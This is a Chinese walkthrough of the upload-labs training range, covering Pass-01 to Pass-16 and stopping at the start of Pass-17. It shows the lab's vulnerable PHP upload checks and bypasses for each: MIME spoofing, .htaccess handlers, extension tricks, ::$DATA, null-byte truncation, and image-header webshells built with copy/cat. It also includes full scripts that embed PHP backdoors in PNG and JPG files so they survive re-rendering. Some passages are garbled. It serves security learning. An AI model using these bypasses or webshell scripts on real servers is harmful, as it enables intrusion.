upload-labs

upload-labs通关记录

upload-labs是收集ctf和渗透测试中文件上传遇到的各种漏洞的靶场,旨在通过关卡的形式来帮助大家对文件上传有个全面的了解。

项目地址:https://github.com/c0ny1/upload-labs

Pass-01

upload-labs_第1张图片

选择本地1.php文件上传,打开burp抓包,还没抓到包页面就显示只能上传.jpg.png等类型文件,说明是前端JS判断。

upload-labs_第2张图片

这里有两种绕过方法:

  • 打开浏览器的审查元素,找到文件上传的js代码,发现checkFile()函数,推测是这个函数进行判断的,我们将它删除(火狐浏览器里用firedebug)。或者在浏览器设置里禁用JavaScript。
  • 将文件名改为合法的后缀名上传,用burp抓包修改为php继续上传即可。

在查看网页源代码时发现表单的onsubmit属性,作如下拓展:

onsubmit="return false;" 将无论何时都阻止表单的提交
onsubmit="return check();" 是否提交表单取决于check()的返回值
onsubmit="check();" check()的返回值无影响

Pass-02

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH . '/' . $_FILES['upload_file']['name']            
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '文件类型不正确,请重新上传!';
        }
    } else {
        $msg = UPLOAD_PATH.'文件夹不存在,请手工创建!';
    }
}

这一关是在服务器对数据包的MIME进行检查,MIME(Multipurpose Internet Mail Extensions)是一种标准,用来表示文档、文件或字节流的性质和格式,通俗讲就是文件的后缀。MIME类型是由http头的content-type属性决定的。

绕过方法:

通过burp抓包,修改为合法的content-type即可。

upload-labs_第3张图片

Pass-03

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array('.asp','.aspx','.php','.jsp');
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //首尾去空
 
        if(!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext; //添加最后一个后缀来重命名          
            if (move_uploaded_file($temp_file,$img_path)) {
                 $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '不允许上传.asp,.aspx,.php,.jsp后缀文件!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}

这里实际是黑名单策略,后端对传入文件的后缀去除了文件名末尾的点,防止window下的解析漏洞,再用strrchr()函数获取文件后缀(包括点),然后再进行转换为小写防止大小写绕过,再去除字符串::DATA防止IIS7.5解析漏洞。检查合规之后,再加上随机时间对文件名重命名。不过它上传之后,能在页面源码的img标签看到上传图片的路径,这样也就能利用上图片。

upload-labs_第4张图片

绕过方法

看到其他师傅的博客写到,这里将后缀改为php3、phtml,文件都能以php的方式解析,但是读者尝试了一下不行,查看了一下Apache的php配置文件,找到了原因:

  • 网上师傅Apache的php配置文件如下(docker-php.conf):

    AddHandler application/x-httpd-php .php
    

    对于.php.xxx这样的文件后缀,这里是可以识别到.php并将php.xxx这类文件视为php文件解析,这就是所谓

    的多后缀解析漏洞。但是在本关,多后缀解析是行不通的,细看源码:

    i m g p a t h = U P L O A D P A T H . ′ / ′ . d a t e ( " Y m d H i s " ) . r a n d ( 1000 , 9999 ) . img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999). imgpath=UPLOADPATH./.date("YmdHis").rand(1000,9999).file_ext;

    后端对文件重命名作了处理,取出了文件最后一个后缀名作为新名字的后缀。中间的.php就没有了,导致无法利用对后缀解析漏洞。

  • 我这里的Apache的php配置文件如下(docker-php.conf):

    
            SetHandler application/x-httpd-php
    
    

    只能解析以.php为最后一个后缀的文件,限制了多后缀解析,猜测是c0ny1师傅对配置文件做了更新,增加了难度。

Pass-04

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".php1",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".ini");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //收尾去空
 
        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.$file_name;
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '此文件不允许上传!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}

这关比上一关的过滤更全面了,但是却没了重命名这操作。

绕过方法:

  • htaccess

    由于黑名单没有过滤.htaccess文件,这个文件是分布式配置文件,可以作为当前目录和子目录的配置文件。要想.htaccess文件生效,还需要配置设置AllowOveride All,题目已经设置好了,但在实际环境中是默认关闭的。

    upload-labs_第5张图片

​ 新建并上传一个.htaccess文件,内容为

AddType application/x-httpd-php .gif

​ 再上传info.gif,访问这个文件,发现能解析为php。

upload-labs_第6张图片

Pass-05

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //首尾去空

        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '此文件类型不允许上传!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}

这关对.htaccess进行了过滤,过滤得很全面了,同时还多了重命名这操作,但是没了转换小写的操作。

绕过方法:

  • php后缀名大小写混用或直接用大写,如info.PHP

Pass-06

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
        $file_name = $_FILES['upload_file']['name'];
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        
        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
            if (move_uploaded_file($temp_file,$img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '此文件不允许上传';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}

转为小写回来了,但是收尾去空没了。

绕过方法:

  • 直接在.php后面添加空格,变为.php ,但Windows有自动去除后缀名空格的特性,可以在linux下上传文件,Windows为靶机。

Pass-07

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //首尾去空
        
        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.$file_name;
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '此文件类型不允许上传!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}

这里少了deldot函数,也就是少了末尾去点操作。

绕过方法:

  • linux下上传info.php.文件,当保存到Windows时会变为info.php文件

Pass-08

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = trim($file_ext); //首尾去空
        
        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '此文件类型不允许上传!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}

少了去除::$DATA的操作。

绕过方法:

  • 利用Windows特性::$DATA绕过,DATA是NTFS文件系统的存储数据流的默认属性。当访问info.php:: D A T A 时 , 就 是 请 求 i n f o . p h p 本 身 的 数 据 。 以 W i n d o w s 为 靶 机 , 上 传 i n f o . p h p 文 件 , 然 后 b u r p 截 包 在 文 件 名 后 添 加 : : DATA时,就是请求info.php本身的数据。以Windows为靶机,上传info.php文件,然后burp截包在文件名后添加:: DATAinfo.phpWindowsinfo.phpburp::DATA后上传,访问info.php即可。

upload-labs_第7张图片

Pass-09

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //首尾去空
        
        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.$file_name;
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '此文件类型不允许上传!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}

这里少了重命名操作,但由于

绕过方法:

  • .空格.绕过

    info.php.空格.->删除文件名末尾的.,变为info.php.空格->trim函数去空,变为info.php.->php.后缀不在黑名单内,绕过黑名单验证->Windows发现文件名最后.,自动去除.->最终在磁盘上存储的是info.php文件。利用burp截包修改:

    upload-labs_第8张图片

​ 访问info.php:

upload-labs_第9张图片

Pass-10

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");

        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = str_ireplace($deny_ext,"", $file_name);
        $temp_file = $_FILES['upload_file']['tmp_name'];
        $img_path = UPLOAD_PATH.'/'.$file_name;        
        if (move_uploaded_file($temp_file, $img_path)) {
            $is_upload = true;
        } else {
            $msg = '上传出错!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}

这关直接将黑名单替换成空格了。

绕过方法:

  • 这种最容易绕过了,直接双写即可:info.pphphp。当后缀名被替换掉后会变成空格,可以绕过黑名单的检测,但是存储时空格会被去掉,最后剩下的文件后缀名合并为’info.php’。

Pass-11

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    $ext_arr = array('jpg','png','gif');
    $file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
    if(in_array($file_ext,$ext_arr)){
        $temp_file = $_FILES['upload_file']['tmp_name'];
        $img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;

        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        } else {
            $msg = '上传出错!';
        }
    } else{
        $msg = "只允许上传.jpg|.png|.gif类型文件!";
    }
}

这里采取了白名单过滤策略,看上去十分安全,但是保存的路径却通过GET方法提交的,我们可以截包控制。

绕过方法:

  • 直接%00截断,中间件Apache接收到请求会将%00解码一次,解码为空字节,在内存中一段字节通常以空字节为结束标识,空字节之后的数据也就被截断了。我们可以上传一个合法后缀的文件info.jpg,截包后修改save_path为…/upload/info.php%00,访问info.php即可。

但是进行00截断需要三个条件:

  1. php版本低于5.3.4
  2. 上传路径可控
  3. magic_quotes_gpc为OFF状态(在php.ini中)

读者这里的php版本为5.4.45,需要降级,在php_study进行操作,降为5.3.29

再访问info.php即可。

这里补充一下00截断的知识;

0x00,%00这两类截断都是属于同种原理,%00在url解码后为空字符,0X00即16进制的00。在解析后这两个内容都会被当做chr(0)来处理。

chr()函数的作用:返回括号中的参数所代表的字符。

chr(0)代表的含义是返回ASCII码中0代表的字符,也就是NULL。

当一个字符串中存在空字符的时候,在被解析的时候会导致空字符后面的字符被丢弃。

而当传参方式为GET则需要使用%00,因为GET传参时url会自动编码,转移为空字符;而POST型传参时则不会进行自动编码,所以需要使用0x00进行截断。

Pass-12

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    $ext_arr = array('jpg','png','gif');
    $file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
    if(in_array($file_ext,$ext_arr)){
        $temp_file = $_FILES['upload_file']['tmp_name'];
        $img_path = $_POST['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;

        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        } else {
            $msg = "上传失败";
        }
    } else {
        $msg = "只允许上传.jpg|.png|.gif类型文件!";
    }
}

这关采用了POST方法接收路径,用0x00进行截断

upload-labs_第10张图片

Pass-13

function getReailFileType($filename){
    $file = fopen($filename, "rb");
    $bin = fread($file, 2); //只读2字节
    fclose($file);
    $strInfo = @unpack("C2chars", $bin);    
    $typeCode = intval($strInfo['chars1'].$strInfo['chars2']);    
    $fileType = '';    
    switch($typeCode){      
        case 255216:            
            $fileType = 'jpg';
            break;
        case 13780:            
            $fileType = 'png';
            break;        
        case 7173:            
            $fileType = 'gif';
            break;
        default:            
            $fileType = 'unknown';
        }    
        return $fileType;
}

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $file_type = getReailFileType($temp_file);

    if($file_type == 'unknown'){
        $msg = "文件未知,上传失败!";
    }else{
        $img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$file_type;
        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        } else {
            $msg = "上传出错!";
        }
    }
}

本关定义了一个检测文件真实类型的函数,通过读取文件开头的两个字节来判断文件的真实类型(一般文件的前两个字节都能表明自己的类型),所以之前修改文件后缀、Content-Type的方法便不能生效了。

绕过方法:

  • 添加图片前缀

    直接在info.php里添加GIF89a前缀,然后修改文件后缀为gif,上传info.gif。咱们这里利用文件包含漏洞,由于上级目录有个include.php文件可以利用:

    upload-labs_第11张图片

  • 制作一句话木马

    Windows

    copy test.png/b+info.php/a info.png
    

    linux

    # 将shell.php内容直接添加到info.png
    cat shell.php >> info.png
    
    # shell.php + test.png
    cat shell.php test.png >> info.png
    
    # 直接 echo 追加
    echo '' >> info.png
    

    其他类型文件同理,或者通过burp截包之后在hex模式下添加文件头,最终都是通过文件包含进行触发。

    upload-labs_第12张图片

Pass-14

function isImage($filename){
    $types = '.jpeg|.png|.gif';
    if(file_exists($filename)){
        $info = getimagesize($filename);
        $ext = image_type_to_extension($info[2]);
        if(stripos($types,$ext)){
            return $ext;
        }else{
            return false;
        }
    }else{
        return false;
    }
}

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $res = isImage($temp_file);
    if(!$res){
        $msg = "文件未知,上传失败!";
    }else{
        $img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").$res;
        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        } else {
            $msg = "上传出错!";
        }
    }
}

这关由isImage()函数检测文件类型,实际是由getimagesize()函数获取文件类型,而这个函数也是根据文件头的字节来返回文件类型的,参考php官网的解释:

upload-labs_第13张图片

绕过方法:

  • 添加图片前缀
  • 制作一句话木马

Pass-15

function isImage($filename){
    //需要开启php_exif模块
    $image_type = exif_imagetype($filename);
    switch ($image_type) {
        case IMAGETYPE_GIF:
            return "gif";
            break;
        case IMAGETYPE_JPEG:
            return "jpg";
            break;
        case IMAGETYPE_PNG:
            return "png";
            break;    
        default:
            return false;
            break;
    }
}

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $res = isImage($temp_file);
    if(!$res){
        $msg = "文件未知,上传失败!";
    }else{
        $img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$res;
        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        } else {
            $msg = "上传出错!";
        }
    }
}

本关的exif_imagetype()函数也是根据文件头的字节返回文件的类型。

绕过方法:

  • 添加图片前缀
  • 制作一句话木马

Pass-16

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])){
    // 获得上传文件的基本信息,文件名,类型,大小,临时文件路径
    $filename = $_FILES['upload_file']['name'];
    $filetype = $_FILES['upload_file']['type'];
    $tmpname = $_FILES['upload_file']['tmp_name'];

    $target_path=UPLOAD_PATH.basename($filename);

    // 获得上传文件的扩展名
    $fileext= substr(strrchr($filename,"."),1);

    //判断文件后缀与类型,合法才进行上传操作
    if(($fileext == "jpg") && ($filetype=="image/jpeg")){
        if(move_uploaded_file($tmpname,$target_path))
        {
            //使用上传的图片生成新的图片
            $im = imagecreatefromjpeg($target_path);

            if($im == false){
                $msg = "该文件不是jpg格式的图片!";
                @unlink($target_path);
            }else{
                //给新图片指定文件名
                srand(time());
                $newfilename = strval(rand()).".jpg";
                $newimagepath = UPLOAD_PATH.$newfilename;
                imagejpeg($im,$newimagepath);
                //显示二次渲染后的图片(使用用户上传图片生成的新图片)
                $img_path = UPLOAD_PATH.$newfilename;
                @unlink($target_path);
                $is_upload = true;
            }
        } else {
            $msg = "上传出错!";
        }

    }else if(($fileext == "png") && ($filetype=="image/png")){
        if(move_uploaded_file($tmpname,$target_path))
        {
            //使用上传的图片生成新的图片
            $im = imagecreatefrompng($target_path);

            if($im == false){
                $msg = "该文件不是png格式的图片!";
                @unlink($target_path);
            }else{
                 //给新图片指定文件名
                srand(time());
                $newfilename = strval(rand()).".png";
                $newimagepath = UPLOAD_PATH.$newfilename;
                imagepng($im,$newimagepath);
                //显示二次渲染后的图片(使用用户上传图片生成的新图片)
                $img_path = UPLOAD_PATH.$newfilename;
                @unlink($target_path);
                $is_upload = true;               
            }
        } else {
            $msg = "上传出错!";
        }

    }else if(($fileext == "gif") && ($filetype=="image/gif")){
        if(move_uploaded_file($tmpname,$target_path))
        {
            //使用上传的图片生成新的图片
            $im = imagecreatefromgif($target_path);
            if($im == false){
                $msg = "该文件不是gif格式的图片!";
                @unlink($target_path);
            }else{
                //给新图片指定文件名
                srand(time());
                $newfilename = strval(rand()).".gif";
                $newimagepath = UPLOAD_PATH.$newfilename;
                imagegif($im,$newimagepath);
                //显示二次渲染后的图片(使用用户上传图片生成的新图片)
                $img_path = UPLOAD_PATH.$newfilename;
                @unlink($target_path);
                $is_upload = true;
            }
        } else {
            $msg = "上传出错!";
        }
    }else{
        $msg = "只允许上传后缀为.jpg|.png|.gif的图片文件!";
    }
}

本关是对上传图片的二次渲染,在这里作简单分析:

  1. 对文件后缀名、Content-Type做了限制
  2. 使用imagecreatefromjpg等函数判断上传的照片是否为jpg、png、gif格式
  3. 用imagejpg等函数对判断是图片的文件进行二次渲染

二次渲染,就是根据用户上传的照片,新生成一个照片,删除原始照片,将新照片添加到数据库中。比如一些网站将用户上传的头像生成大中小的图像,在二次渲染中,我们在图片中写的木马也会渲染掉。

绕过方法:

  • 核心思想是先上传一张图片,再将上传完成后的图片保存下来,对比渲染前后图片的编码变化,在未被渲染的区域写入webshell。由于不同格式文件的特性,再进行二次渲染时,选用gif文件最为简单,对于jpg、png需要利用脚本进行改写。

gif格式:

upload-labs_第14张图片

image-20220210230939748

png格式:

直接记个方法,将php代码写入IDAT数据块。
用国外大牛的脚本,目的是向PNG图片的IDAT数据块中插入PHP后门代码


$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
           0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
           0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
           0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
           0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
           0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
           0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
           0x66, 0x44, 0x50, 0x33);
 
 
 
$img = imagecreatetruecolor(32, 32);
 
for ($y = 0; $y < sizeof($p); $y += 3) {
   $r = $p[$y];
   $g = $p[$y+1];
   $b = $p[$y+2];
   $color = imagecolorallocate($img, $r, $g, $b);
   imagesetpixel($img, round($y / 3), 0, $color);
}
 
imagepng($img,'./1.png');
?>

在这里读者不实操了 ,到一张jhon师傅的图:

upload-labs_第15张图片

jpg格式:

JPG图片也使用脚本来生成,根据具体情况来更改miniPayload的值:


    /*
    The algorithm of injecting the payload into the JPG image, which will keep unchanged after transformations caused by PHP functions imagecopyresized() and imagecopyresampled().
    It is necessary that the size and quality of the initial image are the same as those of the processed image.
 
    1) Upload an arbitrary image via secured files upload script
    2) Save the processed image and launch:
    jpg_payload.php 
 
    In case of successful injection you will get a specially crafted image, which should be uploaded again.
 
    Since the most straightforward injection method is used, the following problems can occur:
    1) After the second processing the injected data may become partially corrupted.
    2) The jpg_payload.php script outputs "Something's wrong".
    If this happens, try to change the payload (e.g. add some symbols at the beginning) or try another initial image.
 
    Sergey Bobrov @Black2Fan.
 
    See also:
    https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/
 
    */
 
    $miniPayload = "";
 
 
    if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {
        die('php-gd is not installed');
    }
 
    if(!isset($argv[1])) {
        die('php jpg_payload.php ');
    }
 
    set_error_handler("custom_error_handler");
 
    for($pad = 0; $pad < 1024; $pad++) {
        $nullbytePayloadSize = $pad;
        $dis = new DataInputStream($argv[1]);
        $outStream = file_get_contents($argv[1]);
        $extraBytes = 0;
        $correctImage = TRUE;
 
        if($dis->readShort() != 0xFFD8) {
            die('Incorrect SOI marker');
        }
 
        while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {
            $marker = $dis->readByte();
            $size = $dis->readShort() - 2;
            $dis->skip($size);
            if($marker === 0xDA) {
                $startPos = $dis->seek();
                $outStreamTmp = 
                    substr($outStream, 0, $startPos) . 
                    $miniPayload . 
                    str_repeat("\0",$nullbytePayloadSize) . 
                    substr($outStream, $startPos);
                checkImage('_'.$argv[1], $outStreamTmp, TRUE);
                if($extraBytes !== 0) {
                    while((!$dis->eof())) {
                        if($dis->readByte() === 0xFF) {
                            if($dis->readByte !== 0x00) {
                                break;
                            }
                        }
                    }
                    $stopPos = $dis->seek() - 2;
                    $imageStreamSize = $stopPos - $startPos;
                    $outStream = 
                        substr($outStream, 0, $startPos) . 
                        $miniPayload . 
                        substr(
                            str_repeat("\0",$nullbytePayloadSize).
                                substr($outStream, $startPos, $imageStreamSize),
                            0,
                            $nullbytePayloadSize+$imageStreamSize-$extraBytes) . 
                                substr($outStream, $stopPos);
                } elseif($correctImage) {
                    $outStream = $outStreamTmp;
                } else {
                    break;
                }
                if(checkImage('payload_'.$argv[1], $outStream)) {
                    die('Success!');
                } else {
                    break;
                }
            }
        }
    }
    unlink('payload_'.$argv[1]);
    die('Something\'s wrong');
 
    function checkImage($filename, $data, $unlink = FALSE) {
        global $correctImage;
        file_put_contents($filename, $data);
        $correctImage = TRUE;
        imagecreatefromjpeg($filename);
        if($unlink)
            unlink($filename);
        return $correctImage;
    }
 
    function custom_error_handler($errno, $errstr, $errfile, $errline) {
        global $extraBytes, $correctImage;
        $correctImage = FALSE;
        if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {
            if(isset($m[1])) {
                $extraBytes = (int)$m[1];
            }
        }
    }
 
    class DataInputStream {
        private $binData;
        private $order;
        private $size;
 
        public function __construct($filename, $order = false, $fromString = false) {
            $this->binData = '';
            $this->order = $order;
            if(!$fromString) {
                if(!file_exists($filename) || !is_file($filename))
                    die('File not exists ['.$filename.']');
                $this->binData = file_get_contents($filename);
            } else {
                $this->binData = $filename;
            }
            $this->size = strlen($this->binData);
        }
 
        public function seek() {
            return ($this->size - strlen($this->binData));
        }
 
        public function skip($skip) {
            $this->binData = substr($this->binData, $skip);
        }
 
        public function readByte() {
            if($this->eof()) {
                die('End Of File');
            }
            $byte = substr($this->binData, 0, 1);
            $this->binData = substr($this->binData, 1);
            return ord($byte);
        }
 
        public function readShort() {
            if(strlen($this->binData) < 2) {
                die('End Of File');
            }
            $short = substr($this->binData, 0, 2);
            $this->binData = substr($this->binData, 2);
            if($this->order) {
                $short = (ord($short[1]) << 8) + ord($short[0]);
            } else {
                $short = (ord($short[0]) << 8) + ord($short[1]);
            }
            return $short;
        }
 
        public function eof() {
            return !$this->binData||(strlen($this->binData) === 0);
        }
    }
?>

使用方法:

  1. 先将一张正常的jpg图片上传,上传后将服务器存储的二次渲染的图片保存下来。

  2. 将保存下来经过服务器二次渲染的那张jpg图片,用此脚本进行处理生成payload.jpg

  3. 然后再上传payload.jpg

    image-20220210233528273

upload-labs_第16张图片

image-20220210233637888

Pass-17

$is_upload = false;
$msg = null;

if(isset($_POST['submit'])){
    $ext_arr = array('jpg','png','gif');
    $file_name = $_FILES['upload_file']['name'];
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $file_ext = substr($file_name,strrpos($file_name,".")+1);
    $upload_file = UPLOAD_PATH . '/' . $file_name;

